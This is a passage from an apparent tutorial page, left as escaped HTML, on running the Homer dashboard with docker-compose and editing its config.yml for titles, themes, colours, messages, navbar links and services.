&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;To run the container we now run:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;docker-compose up -d
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;To stop the container we run:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;docker-compose down
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="access-web-ui"&gt;
Access Web UI
&lt;a href="#access-web-ui" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;p&gt;Once Homer is deployed and you can navigate to &lt;a href="http://ip-server"&gt;http://ip-server&lt;/a&gt;, to see the home page.&lt;/p&gt;
&lt;h2 id="edit-config-file"&gt;
Edit config file
&lt;a href="#edit-config-file" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;p&gt;We can edit the local &lt;code&gt;~/homer/assets/config.yml&lt;/code&gt; on our server-host, and the changes will be the saved to the same file inside the container under &lt;code&gt;/www/assetes/config.yml&lt;/code&gt;:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;vim ~/homer/assets/config.yml
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="default-config-file"&gt;
Default config file
&lt;a href="#default-config-file" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;p&gt;The default config file is available under the name &lt;code&gt;~/homer/assets/config.yml.dist&lt;/code&gt; if we ever want to have access to it.&lt;/p&gt;
&lt;p&gt;We can replace the &lt;code&gt;config.yml&lt;/code&gt; with the default like this:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;cp homer/assets/config.yml.dist homer/assets/config.yml
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="config-theme"&gt;
Config Theme
&lt;a href="#config-theme" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;p&gt;Another theme is available on the config file under the name &lt;code&gt;~/homer/assets/config.yml.dist.sample-sui&lt;/code&gt; that we can try replacing the &lt;code&gt;config.yml&lt;/code&gt;:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;cp homer/assets/config.yml.dist.sample-sui homer/assets/config.yml
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="config-options"&gt;
Config Options
&lt;a href="#config-options" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;p&gt;All the following examples follow this &lt;a href="https://homer-demo.netlify.app/"&gt;live demo&lt;/a&gt; of the app.&lt;/p&gt;
&lt;h4 id="title--logo"&gt;
Title &amp;amp; Logo
&lt;a href="#title--logo" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h4&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-yml" data-lang="yml"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;title&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;Demo dashboard&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;subtitle&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;Homer&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# documentTitle: &amp;#34;Welcome&amp;#34; # Customize the browser tab text&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;logo&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;logo.png&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h4 id="header--footer"&gt;
Header &amp;amp; Footer
&lt;a href="#header--footer" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h4&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-yml" data-lang="yml"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;header&lt;/span&gt;: &lt;span style="color:#66d9ef"&gt;true&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;footer&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#39;&amp;lt;p&amp;gt;Created with &amp;lt;span class=&amp;#34;has-text-danger&amp;#34;&amp;gt;❤️&amp;lt;/span&amp;gt; with &amp;lt;a href=&amp;#34;https://bulma.io/&amp;#34;&amp;gt;bulma&amp;lt;/a&amp;gt;, &amp;lt;a href=&amp;#34;https://vuejs.org/&amp;#34;&amp;gt;vuejs&amp;lt;/a&amp;gt; &amp;amp; &amp;lt;a href=&amp;#34;https://fontawesome.com/&amp;#34;&amp;gt;font awesome&amp;lt;/a&amp;gt; // Fork me on &amp;lt;a href=&amp;#34;https://github.com/bastienwirtz/homer&amp;#34;&amp;gt;&amp;lt;i class=&amp;#34;fab fa-github-alt&amp;#34;&amp;gt;&amp;lt;/i&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/p&amp;gt;&amp;#39;&lt;/span&gt; &lt;span style="color:#75715e"&gt;# set false if you want to hide it.&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;We can hide the footer, by setting it false:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-yml" data-lang="yml"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;header&lt;/span&gt;: &lt;span style="color:#66d9ef"&gt;true&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;footer&lt;/span&gt;: &lt;span style="color:#66d9ef"&gt;false&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h4 id="options"&gt;
Options
&lt;a href="#options" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h4&gt;
&lt;p&gt;These are some options that we can change for the home page:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-yml" data-lang="yml"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;columns&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;3&amp;#34;&lt;/span&gt; &lt;span style="color:#75715e"&gt;# &amp;#34;auto&amp;#34; or number (must be a factor of 12: 1, 2, 3, 4, 6, 12)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;connectivityCheck&lt;/span&gt;: &lt;span style="color:#66d9ef"&gt;true&lt;/span&gt; &lt;span style="color:#75715e"&gt;# whether you want to display a message when the apps are not accessible anymore (VPN disconnected for example)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h4 id="theme-customization"&gt;
Theme Customization
&lt;a href="#theme-customization" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h4&gt;
&lt;p&gt;We can choose custom themes from the &lt;a href="https://github.com/bastienwirtz/homer"&gt;Homer Repo&lt;/a&gt;:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-yml" data-lang="yml"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# Optional theme customization&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;theme&lt;/span&gt;: &lt;span style="color:#ae81ff"&gt;default&lt;/span&gt; &lt;span style="color:#75715e"&gt;# &amp;#39;default&amp;#39; or one of the themes available in &amp;#39;src/assets/themes&amp;#39;.&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;We can also add custom CSS, by adding a custom css template from the default one:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;cp homer/assets/custom.css.sample homer/assets/custom.css
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;and adding the path of the stylesheet:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-yml" data-lang="yml"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# Optional custom stylesheet&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# Will load custom CSS files. Especially useful for custom icon sets.&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;stylesheet&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; - &lt;span style="color:#e6db74"&gt;&amp;#34;assets/custom.css&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;We can also edit directly the colors of the theme:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-yml" data-lang="yml"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# Here is the exhaustive list of customization parameters&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# However all value are optional and will fallback to default if not set.&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# if you want to change only some of the colors, feel free to remove all unused key.&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;colors&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;light&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;highlight-primary&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;#3367d6&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;highlight-secondary&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;#4285f4&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;highlight-hover&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;#5a95f5&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;background&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;#f5f5f5&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;card-background&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;#ffffff&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;text&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;#363636&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;text-header&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;#ffffff&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;text-title&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;#303030&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;text-subtitle&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;#424242&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;card-shadow&lt;/span&gt;: &lt;span style="color:#ae81ff"&gt;rgba(0, 0, 0, 0.1)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;link-hover&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;#363636&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;dark&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;highlight-primary&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;#3367d6&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;highlight-secondary&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;#4285f4&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;highlight-hover&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;#5a95f5&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;background&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;#131313&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;card-background&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;#2b2b2b&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;text&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;#eaeaea&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;text-header&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;#ffffff&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;text-title&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;#fafafa&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;text-subtitle&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;#f5f5f5&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;card-shadow&lt;/span&gt;: &lt;span style="color:#ae81ff"&gt;rgba(0, 0, 0, 0.4)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;link-hover&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;#ffdd57&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h4 id="message"&gt;
Message
&lt;a href="#message" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h4&gt;
&lt;p&gt;We can have a message as the first message, or we can delete it:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-yml" data-lang="yml"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;message&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;url&lt;/span&gt;: &lt;span style="color:#ae81ff"&gt;https://b4bz.io&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;style&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;is-dark&amp;#34;&lt;/span&gt; &lt;span style="color:#75715e"&gt;# See https://bulma.io/documentation/components/message/#colors for styling options.&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;title&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;Demo !&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;icon&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;fa fa-grin&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;content&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;This is a dummy homepage demo. &amp;lt;br /&amp;gt; Find more information on &amp;lt;a href=&amp;#39;https://github.com/bastienwirtz/homer&amp;#39;&amp;gt;github.com/bastienwirtz/homer&amp;lt;/a&amp;gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;We can even fetch info from an API as a message:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-yml" data-lang="yml"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;message&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;# Real example using chucknorris.io for showing Chuck Norris facts as messages:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;# url: https://api.chucknorris.io/jokes/random&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;mapping&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;title&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;id&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;content&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;value&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;refreshInterval&lt;/span&gt;: &lt;span style="color:#ae81ff"&gt;10000&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h4 id="navbar"&gt;
Navbar
&lt;a href="#navbar" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h4&gt;
&lt;p&gt;The navigation bar is also customizable (default dark mode, layout, and search options) and we can add or delete items from the &lt;code&gt;links&lt;/code&gt; element:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-yml" data-lang="yml"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;links&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; - &lt;span style="color:#f92672"&gt;name&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;Contribute&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;icon&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;fab fa-github&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;url&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;https://github.com/bastienwirtz/homer&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;target&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;_blank&amp;#34;&lt;/span&gt; &lt;span style="color:#75715e"&gt;# optional html a tag target attribute&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; - &lt;span style="color:#f92672"&gt;name&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;Wiki&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;icon&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;fas fa-book&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;url&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;https://www.wikipedia.org/&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;# this will link to a second homer page that will load config from additionnal-page.yml and keep default config values as in config.yml file&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;# see url field and assets/additionnal-page.yml.dist used in this example:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; - &lt;span style="color:#f92672"&gt;name&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;another page!&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;icon&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;fas fa-file-alt&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;url&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;#additionnal-page&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h4 id="services"&gt;
Services
&lt;a href="#services" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h4&gt;
&lt;p&gt;Here we define all the applications and services we want in groups.&lt;/p&gt;
&lt;p&gt;The properties of each group can be:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;name&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;icon&lt;/code&gt; or &lt;code&gt;logo&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;items&lt;/code&gt; (a list with all the services of the group)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Now each service can have these properties (not a complete list):&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;name&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;icon&lt;/code&gt; or &lt;code&gt;logo&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;subtitle&lt;/code&gt; (small description)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;tag&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;tastyle&lt;/code&gt; (color of the tag)
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;is-info&lt;/code&gt; (blue)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;is-success&lt;/code&gt; (green)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;is-warning&lt;/code&gt; (yellow)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;is-danger&lt;/code&gt; (red)&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;code&gt;class&lt;/code&gt; (optional custom CSS class for card, useful with custom stylesheet)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;background&lt;/code&gt; (optional color for card to set color directly without custom stylesheet)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;target&lt;/code&gt; (optional html a tag target attribute)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;An example of the list from the demo:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-yml" data-lang="yml"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;services&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; - &lt;span style="color:#f92672"&gt;name&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;Applications&amp;#34;&lt;/span&gt;
